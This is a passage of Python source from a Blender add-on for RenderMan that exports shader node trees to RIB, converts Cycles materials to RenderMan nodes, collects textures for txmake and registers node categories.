new_tokens and 'else' not in new_tokens: new_tokens.extend(['else', 'False']) return eval(" ".join(new_tokens)) # Rib export gains_to_enable = { 'diffuseGain': 'enableDiffuse', 'specularFaceColor': 'enablePrimarySpecular', 'specularEdgeColor': 'enablePrimarySpecular', 'roughSpecularFaceColor': 'enableRoughSpecular', 'roughSpecularEdgeColor': 'enableRoughSpecular', 'clearcoatFaceColor': 'enableClearCoat', 'clearcoatEdgeColor': 'enableClearCoat', 'iridescenceFaceGain': 'enableIridescence', 'iridescenceEdgeGain': 'enableIridescence', 'fuzzGain': 'enableFuzz', 'subsurfaceGain': 'enableSubsurface', 'singlescatterGain': 'enableSingleScatter', 'singlescatterDirectGain': 'enableSingleScatter', 'refractionGain': 'enableGlass', 'reflectionGain': 'enableGlass', 'glowGain': 'enableGlow', } # generate param list def gen_params(ri, node, mat_name=None): params = {} # If node is OSL node get properties from dynamic location. if node.bl_idname == "PxrOSLPatternNode": if getattr(node, "codetypeswitch") == "EXT": prefs = bpy.context.preferences.addons[__package__].preferences osl_path = user_path(getattr(node, 'shadercode')) FileName = os.path.basename(osl_path) FileNameNoEXT,ext = os.path.splitext(FileName) out_file = os.path.join( user_path(prefs.env_vars.out), "shaders", FileName) if ext == ".oso": if not os.path.exists(out_file) or not os.path.samefile(osl_path, out_file): if not os.path.exists(os.path.join(user_path(prefs.env_vars.out), "shaders")): os.mkdir(os.path.join(user_path(prefs.env_vars.out), "shaders")) shutil.copy(osl_path, out_file) for input_name, input in node.inputs.items(): prop_type = input.renderman_type if input.is_linked: to_socket = input from_socket = input.links[0].from_socket params['reference %s %s' % (prop_type, input_name)] = \ [get_output_param_str( from_socket.node, mat_name, from_socket, to_socket)] elif type(input) != RendermanNodeSocketStruct: params['%s %s' % (prop_type, input_name)] = \ rib(input.default_value, type_hint=prop_type) # Special case for SeExpr Nodes. Assume that the code will be in a file so # that needs to be extracted. elif node.bl_idname == "PxrSeExprPatternNode": fileInputType = node.codetypeswitch for prop_name, meta in node.prop_meta.items(): if prop_name in ["codetypeswitch", 'filename']: pass elif prop_name == "internalSearch" and fileInputType == 'INT': if node.internalSearch != "": script = bpy.data.texts[node.internalSearch] params['%s %s' % ("string", "expression")] = \ rib(script.as_string(), type_hint=meta['renderman_type']) elif prop_name == "shadercode" and fileInputType == "NODE": params['%s %s' % ("string", "expression")] = node.expression else: prop = getattr(node, prop_name) # if input socket is linked reference that if prop_name in node.inputs and \ node.inputs[prop_name].is_linked: to_socket = node.inputs[prop_name] from_socket = to_socket.links[0].from_socket params['reference %s %s' % (meta['renderman_type'], meta['renderman_name'])] = \ [get_output_param_str( from_socket.node, mat_name, from_socket, to_socket)] # else output rib else: params['%s %s' % (meta['renderman_type'], meta['renderman_name'])] = \ rib(prop, type_hint=meta['renderman_type']) else: for prop_name, meta in node.prop_meta.items(): if prop_name in txmake_options.index: pass elif node.__annotations__["plugin_name"] == 'PxrRamp' and prop_name in ['colors', 'positions']: pass elif(prop_name in ['sblur', 'tblur', 'notes']): pass else: prop = getattr(node, prop_name) # if property group recurse if meta['renderman_type'] == 'page': continue elif prop_name == 'inputMaterial' or \ ('type' in meta and meta['type'] == 'vstruct'): continue # if input socket is linked reference that elif hasattr(node, 'inputs') and prop_name in node.inputs and \ node.inputs[prop_name].is_linked: to_socket = node.inputs[prop_name] from_socket = to_socket.links[0].from_socket from_node = to_socket.links[0].from_node if 'arraySize' in meta: params['reference %s[1] %s' % (meta['renderman_type'], meta['renderman_name'])] \ = [get_output_param_str( from_node, mat_name, from_socket, to_socket)] else: params['reference %s %s' % (meta['renderman_type'], meta['renderman_name'])] = \ [get_output_param_str( from_node, mat_name, from_socket, to_socket)] # see if vstruct linked elif is_vstruct_and_linked(node, prop_name): vstruct_name, vstruct_member = meta[ 'vstructmember'].split('.') from_socket = node.inputs[ vstruct_name].links[0].from_socket temp_mat_name = mat_name if from_socket.node.bl_idname == 'ShaderNodeGroup': ng = from_socket.node.node_tree group_output = next((n for n in ng.nodes if n.bl_idname == 'NodeGroupOutput'), None) if group_output is None: return False in_sock = group_output.inputs[from_socket.name] if len(in_sock.links): from_socket = in_sock.links[0].from_socket temp_mat_name = mat_name + '.' + from_socket.node.name vstruct_from_param = "%s_%s" % ( from_socket.identifier, vstruct_member) if vstruct_from_param in from_socket.node.output_meta: actual_socket = from_socket.node.output_meta[ vstruct_from_param] params['reference %s %s' % (meta['renderman_type'], meta['renderman_name'])] = \ [get_output_param_str( from_socket.node, temp_mat_name, actual_socket)] else: print('Warning! %s not found on %s' % (vstruct_from_param, from_socket.node.name)) # else output rib else: # if struct is not linked continue if meta['renderman_type'] in ['struct', 'enum']: continue # if this is a gain on PxrSurface and the lobe isn't # enabled if node.bl_idname == 'PxrSurfaceBxdfNode' and \ prop_name in gains_to_enable and \ not getattr(node, gains_to_enable[prop_name]): val = [0, 0, 0] if meta[ 'renderman_type'] == 'color' else 0 params['%s %s' % (meta['renderman_type'], meta['renderman_name'])] = val elif 'options' in meta and meta['options'] == 'texture' \ and node.bl_idname != "PxrPtexturePatternNode" or \ ('widget' in meta and meta['widget'] == 'assetIdInput' and prop_name != 'iesProfile'): params['%s %s' % (meta['renderman_type'], meta['renderman_name'])] = \ rib(get_tex_file_name(prop), type_hint=meta['renderman_type']) elif 'arraySize' in meta: if type(prop) == int: prop = [prop] params['%s[%d] %s' % (meta['renderman_type'], len(prop), meta['renderman_name'])] \ = rib(prop) else: params['%s %s' % (meta['renderman_type'], meta['renderman_name'])] = \ rib(prop, type_hint=meta['renderman_type']) if node.__annotations__["plugin_name"] == 'PxrRamp': nt = bpy.data.node_groups[node.node_group] if nt: dummy_ramp = nt.nodes['ColorRamp'] colors = [] positions = [] # double the start and end points positions.append(float(dummy_ramp.color_ramp.elements[0].position)) colors.extend(dummy_ramp.color_ramp.elements[0].color[:3]) for e in dummy_ramp.color_ramp.elements: positions.append(float(e.position)) colors.extend(e.color[:3]) positions.append( float(dummy_ramp.color_ramp.elements[-1].position)) colors.extend(dummy_ramp.color_ramp.elements[-1].color[:3]) params['color[%d] colors' % len(positions)] = colors params['float[%d] positions' % len(positions)] = positions return params def create_rman_surface(nt, parent_node, input_index, node_type="PxrSurfaceBxdfNode"): layer = nt.nodes.new(node_type) nt.links.new(layer.outputs[0], parent_node.inputs[input_index]) setattr(layer, 'enableDiffuse', False) layer.location = parent_node.location layer.diffuseGain = 0 layer.location[0] -= 300 return layer combine_nodes = ['ShaderNodeAddShader', 'ShaderNodeMixShader'] # rman_parent could be PxrSurface or PxrMixer def convert_cycles_bsdf(nt, rman_parent, node, input_index): # if mix or add pass both to parent if node.bl_idname in combine_nodes: i = 0 if node.bl_idname == 'ShaderNodeAddShader' else 1 node1 = node.inputs[ 0 + i].links[0].from_node if node.inputs[0 + i].is_linked else None node2 = node.inputs[ 1 + i].links[0].from_node if node.inputs[1 + i].is_linked else None if not node1 and not node2: return elif not node1: convert_cycles_bsdf(nt, rman_parent, node2, input_index) elif not node2: convert_cycles_bsdf(nt, rman_parent, node1, input_index) # if ones a combiner or they're of the same type and not glossy we need # to make a mixer elif node.bl_idname == 'ShaderNodeMixShader' or node1.bl_idname in combine_nodes \ or node2.bl_idname in combine_nodes or \ node1.bl_idname == 'ShaderNodeGroup' or node2.bl_idname == 'ShaderNodeGroup' \ or (bsdf_map[node1.bl_idname][0] == bsdf_map[node2.bl_idname][0]): mixer = nt.nodes.new('PxrLayerMixerPatternNode') # if parent is output make a pxr surface first nt.links.new(mixer.outputs["pxrMaterialOut"], rman_parent.inputs[input_index]) offset_node_location(rman_parent, mixer, node) # set the layer masks if node.bl_idname == 'ShaderNodeAddShader': mixer.layer1Mask = .5 else: convert_cycles_input( nt, node.inputs['Fac'], mixer, 'layer1Mask') # make a new node for each convert_cycles_bsdf(nt, mixer, node1, 0) convert_cycles_bsdf(nt, mixer, node2, 1) # this is a heterogenous mix of add else: if rman_parent.__annotations__["plugin_name"] == 'PxrLayerMixer': old_parent = rman_parent rman_parent = create_rman_surface(nt, rman_parent, input_index, 'PxrLayerPatternNode') offset_node_location(old_parent, rman_parent, node) convert_cycles_bsdf(nt, rman_parent, node1, 0) convert_cycles_bsdf(nt, rman_parent, node2, 1) # else set lobe on parent elif 'Bsdf' in node.bl_idname or node.bl_idname == 'ShaderNodeSubsurfaceScattering': if rman_parent.__annotations__["plugin_name"] == 'PxrLayerMixer': old_parent = rman_parent rman_parent = create_rman_surface(nt, rman_parent, input_index, 'PxrLayerPatternNode') offset_node_location(old_parent, rman_parent, node) node_type = node.bl_idname bsdf_map[node_type][1](nt, node, rman_parent) # if we find an emission node, naively make it a meshlight # note this will only make the last emission node the light elif node.bl_idname == 'ShaderNodeEmission': output = next((n for n in nt.nodes if hasattr(n, 'renderman_node_type') and n.renderman_node_type == 'output'), None) meshlight = nt.nodes.new("PxrMeshLightLightNode") nt.links.new(meshlight.outputs[0], output.inputs["Light"]) meshlight.location = output.location meshlight.location[0] -= 300 convert_cycles_input( nt, node.inputs['Strength'], meshlight, "intensity") if node.inputs['Color'].is_linked: convert_cycles_input( nt, node.inputs['Color'], meshlight, "textureColor") else: setattr(meshlight, 'lightColor', node.inputs[ 'Color'].default_value[:3]) else: rman_node = convert_cycles_node(nt, node) nt.links.new(rman_node.outputs[0], rman_parent.inputs[input_index]) def convert_cycles_displacement(nt, surface_node, displace_socket): # for now just do bump if displace_socket.is_linked: bump = nt.nodes.new("PxrBumpPatternNode") nt.links.new(bump.outputs[0], surface_node.inputs['bumpNormal']) bump.location = surface_node.location bump.location[0] -= 200 bump.location[1] -= 100 convert_cycles_input(nt, displace_socket, bump, "inputBump") # return # if displace_socket.is_linked: # displace = nt.nodes.new("PxrDisplaceDisplacementNode") # nt.links.new(displace.outputs[0], output_node.inputs['Displacement']) # displace.location = output_node.location # displace.location[0] -= 200 # displace.location[1] -= 100 # setattr(displace, 'dispAmount', .01) # convert_cycles_input(nt, displace_socket, displace, "dispScalar") # could make this more robust to shift the entire nodetree to below the # bounds of the cycles nodetree def set_ouput_node_location(nt, output_node, cycles_output): output_node.location = cycles_output.location output_node.location[1] -= 500 def offset_node_location(rman_parent, rman_node, cycles_node): linked_socket = next((sock for sock in cycles_node.outputs if sock.is_linked), None) rman_node.location = rman_parent.location if linked_socket: rman_node.location += (cycles_node.location - linked_socket.links[0].to_node.location) def convert_cycles_nodetree(id, output_node, reporter): # find base node from . import cycles_convert cycles_convert.converted_nodes = {} nt = id.node_tree reporter({'INFO'}, 'Converting material ' + id.name + ' to RenderMan') cycles_output_node = find_node(id, 'ShaderNodeOutputMaterial') if not cycles_output_node: reporter({'WARNING'}, 'No Cycles output found ' + id.name) return False # if no bsdf return false if not cycles_output_node.inputs[0].is_linked: reporter({'WARNING'}, 'No Cycles bsdf found ' + id.name) return False # set the output node location set_ouput_node_location(nt, output_node, cycles_output_node) # walk tree cycles_convert.report = reporter begin_cycles_node = cycles_output_node.inputs[0].links[0].from_node # if this is an emission use PxrLightEmission if begin_cycles_node.bl_idname == "ShaderNodeEmission": meshlight = nt.nodes.new("PxrMeshLightLightNode") nt.links.new(meshlight.outputs[0], output_node.inputs["Light"]) offset_node_location(output_node, meshlight, begin_cycles_node) convert_cycles_input(nt, begin_cycles_node.inputs[ 'Strength'], meshlight, "intensity") if begin_cycles_node.inputs['Color'].is_linked: convert_cycles_input(nt, begin_cycles_node.inputs[ 'Color'], meshlight, "textureColor") else: setattr(meshlight, 'lightColor', begin_cycles_node.inputs[ 'Color'].default_value[:3]) bxdf = nt.nodes.new('PxrBlackBxdfNode') nt.links.new(bxdf.outputs[0], output_node.inputs["Bxdf"]) else: base_surface = create_rman_surface(nt, output_node, 0) offset_node_location(output_node, base_surface, begin_cycles_node) convert_cycles_bsdf(nt, base_surface, begin_cycles_node, 0) convert_cycles_displacement( nt, base_surface, cycles_output_node.inputs[2]) return True cycles_node_map = { 'ShaderNodeAttribute': 'node_attribute', 'ShaderNodeBlackbody': 'node_checker_blackbody', 'ShaderNodeTexBrick': 'node_brick_texture', 'ShaderNodeBrightContrast': 'node_brightness', 'ShaderNodeTexChecker': 'node_checker_texture', 'ShaderNodeBump': 'node_bump', 'ShaderNodeCameraData': 'node_camera', 'ShaderNodeTexChecker': 'node_checker_texture', 'ShaderNodeCombineHSV': 'node_combine_hsv', 'ShaderNodeCombineRGB': 'node_combine_rgb', 'ShaderNodeCombineXYZ': 'node_combine_xyz', 'ShaderNodeTexEnvironment': 'node_environment_texture', 'ShaderNodeFresnel': 'node_fresnel', 'ShaderNodeGamma': 'node_gamma', 'ShaderNodeNewGeometry': 'node_geometry', 'ShaderNodeTexGradient': 'node_gradient_texture', 'ShaderNodeHairInfo': 'node_hair_info', 'ShaderNodeInvert': 'node_invert', 'ShaderNodeHueSaturation': 'node_hsv', 'ShaderNodeTexImage': 'node_image_texture', 'ShaderNodeHueSaturation': 'node_hsv', 'ShaderNodeLayerWeight': 'node_layer_weight', 'ShaderNodeLightFalloff': 'node_light_falloff', 'ShaderNodeLightPath': 'node_light_path', 'ShaderNodeTexMagic': 'node_magic_texture', 'ShaderNodeMapping': 'node_mapping', 'ShaderNodeMath': 'node_math', 'ShaderNodeMixRGB': 'node_mix', 'ShaderNodeTexMusgrave': 'node_musgrave_texture', 'ShaderNodeTexNoise': 'node_noise_texture', 'ShaderNodeNormal': 'node_normal', 'ShaderNodeNormalMap': 'node_normal_map', 'ShaderNodeObjectInfo': 'node_object_info', 'ShaderNodeParticleInfo': 'node_particle_info', 'ShaderNodeRGBCurve': 'node_rgb_curves', 'ShaderNodeValToRGB': 'node_rgb_ramp', 'ShaderNodeSeparateHSV': 'node_separate_hsv', 'ShaderNodeSeparateRGB': 'node_separate_rgb', 'ShaderNodeSeparateXYZ': 'node_separate_xyz', 'ShaderNodeTexSky': 'node_sky_texture', 'ShaderNodeTangent': 'node_tangent', 'ShaderNodeTexCoord': 'node_texture_coordinate', 'ShaderNodeUVMap': 'node_uv_map', 'ShaderNodeValue': 'node_value', 'ShaderNodeVectorCurves': 'node_vector_curves', 'ShaderNodeVectorMath': 'node_vector_math', 'ShaderNodeVectorTransform': 'node_vector_transform', 'ShaderNodeTexVoronoi': 'node_voronoi_texture', 'ShaderNodeTexWave': 'node_wave_texture', 'ShaderNodeWavelength': 'node_wavelength', 'ShaderNodeWireframe': 'node_wireframe', } def get_mat_name(mat_name): return mat_name.replace(' ', '') def get_node_name(node, mat_name): return "%s.%s" % (mat_name, node.name.replace(' ', '')) def get_socket_name(node, socket): if type(socket) == dict: return socket['name'].replace(' ', '') # if this is a renderman node we can just use the socket name, else: if not hasattr('node', '__annotations__') or not 'plugin_name' in node.__annotations__: if socket.name in node.inputs and socket.name in node.outputs: suffix = 'Out' if socket.is_output else 'In' return socket.name.replace(' ', '') + suffix return socket.identifier.replace(' ', '') def get_socket_type(node, socket): sock_type = socket.type.lower() if sock_type == 'rgba': return 'color' elif sock_type == 'value': return 'float' elif sock_type == 'vector': return 'point' else: return sock_type # do we need to convert this socket? def do_convert_socket(from_socket, to_socket): if not to_socket: return False return (is_float_type(from_socket) and is_float3_type(to_socket)) or \ (is_float3_type(from_socket) and is_float_type(to_socket)) def build_output_param_str(mat_name, from_node, from_socket, convert_socket=False): from_node_name = get_node_name(from_node, mat_name) from_sock_name = get_socket_name(from_node, from_socket) # replace with the convert node's output if convert_socket: if is_float_type(from_socket): return "convert_%s.%s:resultRGB" % (from_node_name, from_sock_name) else: return "convert_%s.%s:resultF" % (from_node_name, from_sock_name) else: return "%s:%s" % (from_node_name, from_sock_name) def get_output_param_str(node, mat_name, socket, to_socket=None): # if this is a node group, hook it up to the input node inside! if node.bl_idname == 'ShaderNodeGroup': ng = node.node_tree group_output = next((n for n in ng.nodes if n.bl_idname == 'NodeGroupOutput'), None) if group_output is None: return "error:error" in_sock = group_output.inputs[socket.name] if len(in_sock.links): link = in_sock.links[0] return build_output_param_str(mat_name + '.' + node.name, link.from_node, link.from_socket, do_convert_socket(link.from_socket, to_socket)) else: return "error:error" if node.bl_idname == 'NodeGroupInput': global current_group_node if current_group_node is None: return "error:error" in_sock = current_group_node.inputs[socket.name] if len(in_sock.links): link = in_sock.links[0] return build_output_param_str(mat_name, link.from_node, link.from_socket, do_convert_socket(link.from_socket, to_socket)) else: return "error:error" return build_output_param_str(mat_name, node, socket, do_convert_socket(socket, to_socket)) # hack!!! current_group_node = None def translate_node_group(ri, group_node, mat_name): ng = group_node.node_tree out = next((n for n in ng.nodes if n.bl_idname == 'NodeGroupOutput'), None) if out is None: return nodes_to_export = gather_nodes(out) global current_group_node current_group_node = group_node for node in nodes_to_export: shader_node_rib(ri, node, mat_name=(mat_name + '.' + group_node.name)) current_group_node = None def translate_cycles_node(ri, node, mat_name): if node.bl_idname == 'ShaderNodeGroup': translate_node_group(ri, node, mat_name) return if node.bl_idname not in cycles_node_map.keys(): print('No translation for node of type %s named %s' % (node.bl_idname, node.name)) return mapping = cycles_node_map[node.bl_idname] params = {} for in_name, input in node.inputs.items(): param_name = "%s %s" % (get_socket_type( node, input), get_socket_name(node, input)) if input.is_linked: param_name = 'reference ' + param_name link = input.links[0] param_val = get_output_param_str( link.from_node, mat_name, link.from_socket, input) else: param_val = rib(input.default_value, type_hint=get_socket_type(node, input)) # skip if this is a vector set to 0 0 0 if input.type == 'VECTOR' and param_val == [0.0, 0.0, 0.0]: continue params[param_name] = param_val ramp_size = 256 if node.bl_idname == 'ShaderNodeValToRGB': colors = [] alphas = [] for i in range(ramp_size): c = node.color_ramp.evaluate(float(i) / (ramp_size - 1.0)) colors.extend(c[:3]) alphas.append(c[3]) params['color[%d] ramp_color' % ramp_size] = colors params['float[%d] ramp_alpha' % ramp_size] = alphas elif node.bl_idname == 'ShaderNodeVectorCurve': colors = [] node.mapping.initialize() r = node.mapping.curves[0] g = node.mapping.curves[1] b = node.mapping.curves[2] for i in range(ramp_size): v = float(i) / (ramp_size - 1.0) colors.extend([r.evaluate(v), g.evaluate(v), b.evaluate(v)]) params['color[%d] ramp' % ramp_size] = colors elif node.bl_idname == 'ShaderNodeRGBCurve': colors = [] node.mapping.initialize() c = node.mapping.curves[0] r = node.mapping.curves[1] g = node.mapping.curves[2] b = node.mapping.curves[3] for i in range(ramp_size): v = float(i) / (ramp_size - 1.0) c_val = c.evaluate(v) colors.extend([r.evaluate(v) * c_val, g.evaluate(v) * c_val, b.evaluate(v) * c_val]) params['color[%d] ramp' % ramp_size] = colors #print('doing %s %s' % (node.bl_idname, node.name)) # print(params) ri.Pattern(mapping, get_node_name(node, mat_name), params) # Export to rib def shader_node_rib(ri, node, mat_name, disp_bound=0.0, portal=False): # this is tuple telling us to convert if type(node) == type(()): shader, from_node, from_socket = node input_type = 'float' if shader == 'PxrToFloat3' else 'color' node_name = 'convert_%s.%s' % (get_node_name( from_node, mat_name), get_socket_name(from_node, from_socket)) if from_node.bl_idname == 'ShaderNodeGroup': node_name = 'convert_' + get_output_param_str( from_node, mat_name, from_socket).replace(':', '.') params = {"reference %s input" % input_type: get_output_param_str( from_node, mat_name, from_socket)} params['__instanceid'] = node_name ri.Pattern(shader, node_name, params) return elif not hasattr(node, 'renderman_node_type'): return translate_cycles_node(ri, node, mat_name) params = gen_params(ri, node, mat_name) instance = mat_name + '.' + node.name params['__instanceid'] = instance if 'string filename' in params: params['string filename'] = bpy.path.abspath(params['string filename']) if node.renderman_node_type == "pattern": if node.bl_label == 'PxrOSL': shader = node.__annotations__['plugin_name'] if shader: ri.Pattern(shader, instance, params) else: ri.Pattern(node.bl_label, instance, params) elif node.renderman_node_type == "light": light_group_name = '' scene = bpy.context.scene for lg in scene.renderman.light_groups: if mat_name in lg.members.keys(): light_group_name = lg.name break params['string lightGroup'] = light_group_name params['__instanceid'] = mat_name light_name = node.bl_label if light_name == 'PxrPortalLight': if mat_name in bpy.data.lamps: lamp = bpy.context.scene.objects.active if lamp and lamp.parent and lamp.parent.type == 'LAMP' \ and lamp.parent.data.renderman.renderman_type == 'ENV': from .export import property_group_to_params parent_node = lamp.parent.data.renderman.get_light_node() parent_params = property_group_to_params(parent_node) params['string domeSpace'] = lamp.parent.name params['string portalName'] = mat_name params['string domeColorMap'] = parent_params['string lightColorMap'] params['float intensity'] = parent_params['float intensity'] * params['float intensityMult'] del params['float intensityMult'] params['float exposure'] = parent_params['float exposure'] params['color lightColor'] = [i*j for i,j in zip(parent_params['color lightColor'],params['color tint'])] del params['color tint'] if not params['int enableTemperature']: params['int enableTemperature'] = parent_params['int enableTemperature'] params['float temperature'] = parent_params['float temperature'] params['float specular'] *= parent_params['float specular'] params['float diffuse'] *= parent_params['float diffuse'] ri.Light(light_name, mat_name, params) elif node.renderman_node_type == "lightfilter": params['__instanceid'] = mat_name light_name = node.bl_label ri.LightFilter(light_name, mat_name, params) elif node.renderman_node_type == "displacement": ri.Attribute('displacementbound', {'sphere': disp_bound}) ri.Displace(node.bl_label, mat_name, params) else: ri.Bxdf(node.bl_label, instance, params) def replace_frame_num(prop): frame_num = bpy.data.scenes[0].frame_current prop = prop.replace('$f4', str(frame_num).zfill(4)) prop = prop.replace('$F4', str(frame_num).zfill(4)) prop = prop.replace('$f3', str(frame_num).zfill(3)) prop = prop.replace('$F3', str(frame_num).zfill(3)) return prop # return the output file name if this texture is to be txmade. def get_tex_file_name(prop): prop = replace_frame_num(prop) prop = bpy.path.basename(prop) part = prop.rpartition('.') prop = part[0] if prop != '' and part[2].lower() != 'tex': _p_ = bpy.context.scene.renderman.path_texture_output # # just in case there is a leading path separator # _s_ = "" if _p_.endswith("/") or _p_.endswith("\\") else "/" _f_ = "{}{}{}{}".format(_p_, _s_, prop, ".tex") return user_path(_f_) else: return prop def is_same_type(socket1, socket2): return (type(socket1) == type(socket2)) or (is_float_type(socket1) and is_float_type(socket2)) or \ (is_float3_type(socket1) and is_float3_type(socket2)) def is_float_type(socket): # this is a renderman node if type(socket) == type({}): return socket['renderman_type'] in ['int', 'float'] elif hasattr(socket.node, '__annotations__') and 'plugin_name' in node.__annotations__: prop_meta = getattr(socket.node, 'output_meta', [ ]) if socket.is_output else getattr(socket.node, 'prop_meta', []) if socket.name in prop_meta: return prop_meta[socket.name]['renderman_type'] in ['int', 'float'] else: return socket.type in ['INT', 'VALUE'] def is_float3_type(socket): # this is a renderman node if type(socket) == type({}): return socket['renderman_type'] in ['int', 'float'] elif hasattr(socket.node, '__annotations__') and 'plugin_name' in node.__annotations__: prop_meta = getattr(socket.node, 'output_meta', [ ]) if socket.is_output else getattr(socket.node, 'prop_meta', []) if socket.name in prop_meta: return prop_meta[socket.name]['renderman_type'] in ['color', 'vector', 'normal'] else: return socket.type in ['RGBA', 'VECTOR'] # walk the tree for nodes to export def gather_nodes(node): nodes = [] for socket in node.inputs: if socket.is_linked: link = socket.links[0] for sub_node in gather_nodes(socket.links[0].from_node): if sub_node not in nodes: nodes.append(sub_node) # if this is a float -> color inset a tofloat3 if is_float_type(link.from_socket) and is_float3_type(socket): convert_node = ('PxrToFloat3', link.from_node, link.from_socket) if convert_node not in nodes: nodes.append(convert_node) elif is_float3_type(link.from_socket) and is_float_type(socket): convert_node = ('PxrToFloat', link.from_node, link.from_socket) if convert_node not in nodes: nodes.append(convert_node) if hasattr(node, 'renderman_node_type') and node.renderman_node_type != 'output': nodes.append(node) elif not hasattr(node, 'renderman_node_type') and node.bl_idname not in ['ShaderNodeOutputMaterial', 'NodeGroupInput', 'NodeGroupOutput']: nodes.append(node) return nodes # for an input node output all "nodes" def export_shader_nodetree(ri, id, handle=None, disp_bound=0.0, iterate_instance=False): if id and id.node_tree: if is_renderman_nodetree(id): portal = type( id).__name__ == 'AreaLamp' and id.renderman.renderman_type == 'PORTAL' # if id.renderman.nodetree not in bpy.data.node_groups: # load_tree_from_lib(id) nt = id.node_tree if not handle: handle = id.name if type(id) == bpy.types.Material: handle = get_mat_name(handle) # if ipr we need to iterate instance num on nodes for edits from . import engine if engine.ipr and hasattr(id.renderman, 'instance_num'): if iterate_instance: id.renderman.instance_num += 1 if id.renderman.instance_num > 0: handle += "_%d" % id.renderman.instance_num out = next((n for n in nt.nodes if hasattr(n, 'renderman_node_type') and n.renderman_node_type == 'output'), None) if out is None: return nodes_to_export = gather_nodes(out) ri.ArchiveRecord('comment', "Shader Graph") for node in nodes_to_export: shader_node_rib(ri, node, mat_name=handle, disp_bound=disp_bound, portal=portal) elif find_node(id, 'ShaderNodeOutputMaterial'): print("Error Material %s needs a RenderMan BXDF" % id.name) def get_textures_for_node(node, matName=""): textures = [] if hasattr(node, 'bl_idname'): if node.bl_idname == "PxrPtexturePatternNode": return textures elif node.bl_idname == "PxrOSLPatternNode": for input_name, input in node.inputs.items(): if hasattr(input, 'is_texture') and input.is_texture: prop = input.default_value out_file_name = get_tex_file_name(prop) textures.append((replace_frame_num(prop), out_file_name, ['-smode', 'periodic', '-tmode', 'periodic'])) return textures elif node.bl_idname == 'ShaderNodeGroup': nt = node.node_tree for node in nt.nodes: textures.extend(get_textures_for_node(node, matName="")) return textures if hasattr(node, 'prop_meta'): for prop_name, meta in node.prop_meta.items(): if prop_name in txmake_options.index: pass elif hasattr(node, prop_name): prop = getattr(node, prop_name) if meta['renderman_type'] == 'page': continue # else return a tuple of in name/outname else: if ('options' in meta and meta['options'] == 'texture') or \ (node.renderman_node_type == 'light' and 'widget' in meta and meta['widget'] == 'assetIdInput' and prop_name != 'iesProfile'): out_file_name = get_tex_file_name(prop) # if they don't match add this to the list if out_file_name != prop: if node.renderman_node_type == 'light' and \ "Dome" in node.bl_label: # no options for now textures.append( (replace_frame_num(prop), out_file_name, ['-envlatl'])) else: # Test and see if options like smode are on # this node. if hasattr(node, "smode"): optionsList = [] for option in txmake_options.index: partsOfOption = getattr( txmake_options, option) if partsOfOption["exportType"] == "name": optionsList.append("-" + option) # Float values need converting # before they are passed to command # line if partsOfOption["type"] == "float": optionsList.append( str(getattr(node, option))) else: optionsList.append( getattr(node, option)) else: # Float values need converting # before they are passed to command # line if partsOfOption["type"] == "float": optionsList.append( str(getattr(node, option))) else: optionsList.append( "-" + getattr(node, option)) textures.append( (replace_frame_num(prop), out_file_name, optionsList)) else: # no options found add the bare minimum # options for smooth export. textures.append((replace_frame_num(prop), out_file_name, ['-smode', 'periodic', '-tmode', 'periodic'])) return textures def get_textures(id): textures = [] if id is None or not id.node_tree: return textures nt = id.node_tree for node in nt.nodes: textures.extend(get_textures_for_node(node, id.name)) return textures pattern_node_categories_map = {"texture": ["PxrFractal", "PxrBakeTexture", "PxrBakePointCloud", "PxrProjectionLayer", "PxrPtexture", "PxrTexture", "PxrVoronoise", "PxrWorley", "PxrFractalize", "PxrDirt", "PxrLayeredTexture", "PxrMultiTexture"], "bump": ["PxrBump", "PxrNormalMap", "PxrFlakes", "aaOceanPrmanShader", 'PxrAdjustNormal'], "color": ["PxrBlackBody", "PxrHairColor", "PxrBlend", "PxrLayeredBlend", "PxrClamp", "PxrExposure", "PxrGamma", "PxrHSL", "PxrInvert", "PxrMix", "PxrProjectionStack", "PxrRamp", "PxrRemap", "PxrThinFilm", "PxrThreshold", "PxrVary", "PxrChecker", "PxrColorCorrect"], "manifold": ["PxrManifold2D", "PxrRandomTextureManifold", "PxrManifold3D", "PxrManifold3DN", "PxrProjector", "PxrRoundCube", "PxrBumpManifold2D", "PxrTileManifold"], "geometry": ["PxrDot", "PxrCross", "PxrFacingRatio", "PxrTangentField"], "script": ["PxrOSL", "PxrSeExpr"], "utility": ["PxrAttribute", "PxrGeometricAOVs", "PxrMatteID", "PxrPrimvar", "PxrShadedSide", "PxrTee", "PxrToFloat", "PxrToFloat3", "PxrVariable"], "displace": ["PxrDispScalarLayer", 'PxrDispTransform', 'PxrDispVectorLayer'], "layer": ['PxrLayer', 'PxrLayerMixer']} # Node Chatagorization List def GetPatternCategory(name): for cat_name, node_names in pattern_node_categories_map.items(): if name in node_names: return cat_name else: return 'deprecated' # our own base class with an appropriate poll function, # so the categories only show up in our own tree type class RendermanPatternNodeCategory(NodeCategory): @classmethod def poll(cls, context): return context.space_data.tree_type == 'ShaderNodeTree' classes = [ RendermanShaderSocket, RendermanNodeSocketColor, RendermanNodeSocketFloat, RendermanNodeSocketInt, RendermanNodeSocketString, RendermanNodeSocketVector, RendermanNodeSocketStruct, ] nodetypes = {} pattern_categories = {} def register(): for cls in classes: bpy.utils.register_class(cls) user_preferences = bpy.context.preferences prefs = user_preferences.addons[__package__].preferences categories = {} for name, arg_file in args_files_in_path(prefs, None).items(): try: vals = generate_node_type(prefs, name, ET.parse(arg_file).getroot()) if vals: typename, nodetype = vals nodetypes[typename] = nodetype except Exception: print("Error parsing " + name) traceback.print_exc() node_cats = { 'bxdf': ('RenderMan Bxdfs', []), 'light': ('RenderMan Lights', []), 'patterns_texture': ('RenderMan Texture Patterns', []), 'patterns_bump': ('RenderMan Bump Patterns', []), 'patterns_color': ('RenderMan Color Patterns', []), 'patterns_manifold': ('RenderMan Manifold Patterns', []), 'patterns_geometry': ('RenderMan Geometry Patterns', []), 'patterns_utility': ('RenderMan Utility Patterns', []), 'patterns_script': ('RenderMan Script Patterns', []), 'patterns_displace': ('RenderMan Displacement Patterns', []), 'patterns_layer': ('RenderMan Layers', []), 'displacement': ('RenderMan Displacements', []) } for name, node_type in nodetypes.items(): node_item = NodeItem(name, label=node_type.bl_label) if node_type.renderman_node_type == 'pattern': # insert pxr layer in bxdf pattern_cat = GetPatternCategory(node_type.bl_label) if pattern_cat == 'deprecated': continue node_cat = 'patterns_' + pattern_cat node_cats[node_cat][1].append(node_item) pattern_cat = pattern_cat.capitalize() if pattern_cat not in pattern_categories: pattern_categories[pattern_cat] = {} pattern_categories[pattern_cat][name] = node_type elif 'LM' in name and node_type.renderman_node_type == 'bxdf': # skip LM 